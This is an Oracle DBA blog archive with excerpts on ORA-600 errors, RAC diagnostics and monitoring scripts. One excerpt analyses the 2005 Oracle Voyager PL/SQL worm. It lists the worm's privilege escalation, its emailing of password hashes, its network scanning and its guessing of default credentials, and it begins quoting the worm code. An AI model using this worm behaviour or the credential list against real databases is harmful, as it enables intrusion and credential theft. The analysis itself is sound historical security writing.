Maclean’s Oracle Database Tech Blog Archives

  • Internal_Function with Encryption in SQL PLAN

    Sometimes,the columns are decrypted as a result and decrypt functions (appears as INTERNAL_FUNCTION in the execution plan) are applied on them, which can lead to poor approximations of column selectivity, leading to improper plans. This happens mostly when the encrypted columns are using SALT to encrypt the data, but it can happen for other reasons…

  • 诊断RAC数据库的启动

    上周为一位网友诊断了RAC数据库手动添加节点以后,所添加的节点可以手动startup,但是无法利用srvctl工具启动的问题。实际上是因为srvctl启动实例时优先使用的是ASM中的spfile,而手动startup则使用$ORACLE_HOME/dbs下的spfile,因为这位网友没有通过DBCA工具来添加实例,所以ASM中的spfile没有正确被配置。对于该类使用srvctl无法正常启动RAC数据库的”常见”问题,我们可以从以下几个方向入手: 1.使用”srvctl config database -d PROD -a”命令打印OCR中数据库的详细配置信息 [oracle@rh2 ~]$ srvctl config database -d PROD -h Displays the configuration for the database. Usage: srvctl config database [-d [-a] ] [-v] -d Unique name for the database -a Print detailed configuration information -v Verbose output -h Print usage [oracle@rh2 ~]$ srvctl config database -d PROD -a Database…

  • Exadata Server Hardware Details

    Exadata Server Hardware Details: [oracle@maclean01 ~]$ cat /proc/cpuinfo processor : 0 vendor_id : GenuineIntel cpu family : 6 model : 26 model name : Intel(R) Xeon(R) CPU E5540 @ 2.53GHz stepping : 5 cpu MHz : 2527.101 cache size : 8192 KB physical id : 0 siblings : 8 core id : 0 cpu cores…

  • ORA-00600: INTERNAL ERROR CODE, ARGUMENTS: [729], [10992], [SPACE LEAK] Example

    The customers got  this error every alternative days on Version  9.2.0.7. They did increase the shared pool from 450MB to 704MB. Let’s see the alert.log and the last generated trace file. SQL> l 1 select nam.ksppinm NAME, 2 val.KSPPSTVL VALUE 3 from x$ksppi nam, 4 x$ksppsv val 5 where nam.indx = val.indx 6 and nam.ksppinm…

  • Script To Monitor RDBMS Session UGA and PGA Current And Maximum Usage Over Time

    Script set echo off; set feedback off; set heading off; set linesize 128; set show off; set pagesize 55; set trimspool on; set verify off; column “SID AND SERIAL#” FORMAT A19 col SNAP_COLUMN new_value SNAP_TIME col SNAP_EOF_NAME new_value EOF_NAME col SNAP_HOST_NAME new_value THE_HOST_NAME col SNAP_INSTANCE_NAME new_value THE_NAME_OF_THE_INSTANCE col SNAP_RDBMS_VERSION new_value THE_RDBMS_VERSION set term off; select to_char(sysdate,’YYYYMMDD_HH24MISS’) “SNAP_COLUMN” from dual; select trim(host_name) “SNAP_HOST_NAME” from v$instance; select trim(instance_name) “SNAP_INSTANCE_NAME” from v$instance; select trim(version) “SNAP_RDBMS_VERSION” from v$instance; select ‘&THE_NAME_OF_THE_INSTANCE’||’_’||’&SNAP_TIME’||’.LST’ “SNAP_EOF_NAME” from dual; drop table maxpgauga; create table maxpgauga as select s.sid, s2.serial#, n.name, s.value, decode(s2.username,null,s2.program,s2.username) “USERNAME”, s2.logon_time from   v$statname n, v$sesstat s, v$session s2 where  n.statistic# = s.statistic# and (s.sid = s2.sid) and name like ‘session%memory max%’; drop table curpgauga; create table curpgauga as select s.sid, s2.serial#, n.name, s.value, decode(s2.username,null,s2.program,s2.username) “USERNAME”, s2.logon_time from   v$statname n, v$sesstat s, v$session s2 where  n.statistic# = s.statistic# and (s.sid = s2.sid) and name like ‘session%memory’ and name not like ‘session%memory max%’;set term on; spool ORACLE_MEMORY_USAGE_SNAPSHOT_&EOF_NAME select ‘Oracle Memory Usage Report: PGA And UGA Memory Usage Per Session’ from dual; select ‘Host……..: ‘||’&THE_HOST_NAME’ from dual; select ‘Name……..: ‘||’&THE_NAME_OF_THE_INSTANCE’ from dual; select ‘Version…..: ‘||’&THE_RDBMS_VERSION’ from dual; select ‘Startup Time: ‘||to_char(min(logon_time),’YYYY-MM-DD HH24:MI:SS’) from curpgauga; select ‘Current Time: ‘||to_char(sysdate,’YYYY.MM.DD-HH24:MI:SS’) from dual;…

  • Script:收集RAC性能诊断信息

    以下脚本可以用于收集RAC性能诊断信息: spool rac_diag.log SELECT B1.INST_ID, B2.VALUE blocks, Round(B1.VALUE / 100) total_time, round((B1.VALUE / B2.VALUE) * 10, 2) avg_time FROM GV$SYSSTAT B1, GV$SYSSTAT B2 WHERE B1.NAME = ‘gc cr block receive time’ AND B2.NAME = ‘gc cr blocks received’ AND B1.INST_ID = B2.INST_ID AND B2.VALUE > 0 Order by 1 / select v.banner, i.instance_name from gv$version…

  • Performance: PostgreSQL VS SQLSERVER

    最近(2010 March) redhat公司release了一份对PostgreSQL和SQLSERVER的性能检测报告,使用相同的HP ProLiant DL370 G6(Intel Xeon W5580)主机,操作系统是Redhat Enterprise Linux 5:Windows Server 2008 Enterprise;PostgreSQL 部分参数进行了优化,包括checkpoint_timeout,effective_cache_size等,值得注意的是关掉了自动vacuum(autovacuum=false).测试结果是PostgreSQL略有优势,见图: 点击浏览性能报告.

  • ORA-00600 [4400][48]错误一例

    5月26日某客户告警日志中出现的ORA-00600 [4400],[48]错误记录,并产生了trace文件:, *** SERVICE NAME:(ETL) 2010-05-26 16:45:45.930 *** SESSION ID:(262.12024) 2010-05-26 16:45:45.930 *** 2010-05-26 16:45:45.930 ksedmp: internal or fatal error ORA-00600: internal error code, arguments: [4400], [48], [], [], [], [], [], [] ORA-10387: parallel query server interrupt (normal) —– Call Stack Trace —– calling call entry argument values in hex location type point (?…

  • Oracle Voyager Worm 一段匿名块SQL蠕虫

    2005年12-20日(很久以前)一位匿名用户在邮件列表中发布了一段匿名块的SQL蠕虫病毒,这可能是人们第一次意识到PL/SQL也能用来写病毒。很多专家都对该段程序进行了分析,其主要破坏行为如下: 1.将DBA权限授予public角色 2.删除名为aa的trigger 3.创建名为aa的数据库登陆后(after database logon)触发器,该触发器还包含了使用UTL_TCP包(前提是病毒所在实例可能链接到外网)获取来自于http://www.google.de/search?hl=en&q=startc0GtJBi1+full-disclosure&btnI=I%27m+Feeling+Lucky的疑似病毒信息,google已经将该地址屏蔽了 4.通过smtp01.us.oracle.com邮件发送服务器发送标题为(Password hashes)包含数据库密码哈希值的邮件至 [email protected](可能是Oracle老总larry ellison 邮箱地址) 5.扫描实例所在主机子网中的所有ip,之后会尝试使用随机ip.修改listener.log,并且将”alter user mdsys identified by mdsys”添加至glogin.sql,每次使用SQLPLUS时均会执行该SQL. 6.创建可能的数据库连接(DBLINK),并尝试猜测密码组合,如(system/manager, sys/change_on_install, dbsnmp/dbsnmp, outln/outln, scott/tiger, mdsys/mdsys, ordcommon/ordcommon)等较为常见的组合。 7.尝试关闭listener 这是一种尝试,首先向我们证明了PL/SQL也具备编写病毒程序的能力;其次Oracle可能并不如我们想象的那么安全。 有兴趣可以瞻仰一下这段代码,oracle worm voyager. –##s tartc0GtJBi1 DECLARE i1 INTEGER; i2 INTEGER; i6 INTEGER; iHostToSearchFor INTEGER; reference_ip varchar2(1000); reference_url varchar2(1000); starting_ipaddress varchar2(100); current_ipaddress VARCHAR2(100); current_network VARCHAR2(100); current_letter VARCHAR2(1); c UTL_TCP.CONNECTION; c1…

  • ora-600[qesmmCValStat4]一例

    在之前的文章中提到过一个有趣的绘制五角星的SQL,具体SQL语句如下: with a as (select distinct round(sum(x) over(order by n)) x, round(sum(y) over(order by n)) y from (select n, cos(trunc(n / 20) * (1 – 1 / 5) * 3.1415926) * 2 x, sin(trunc(n / 20) * (1 – 1 / 5) * 3.1415926) y from (select rownum – 1 n from all_objects where rownum…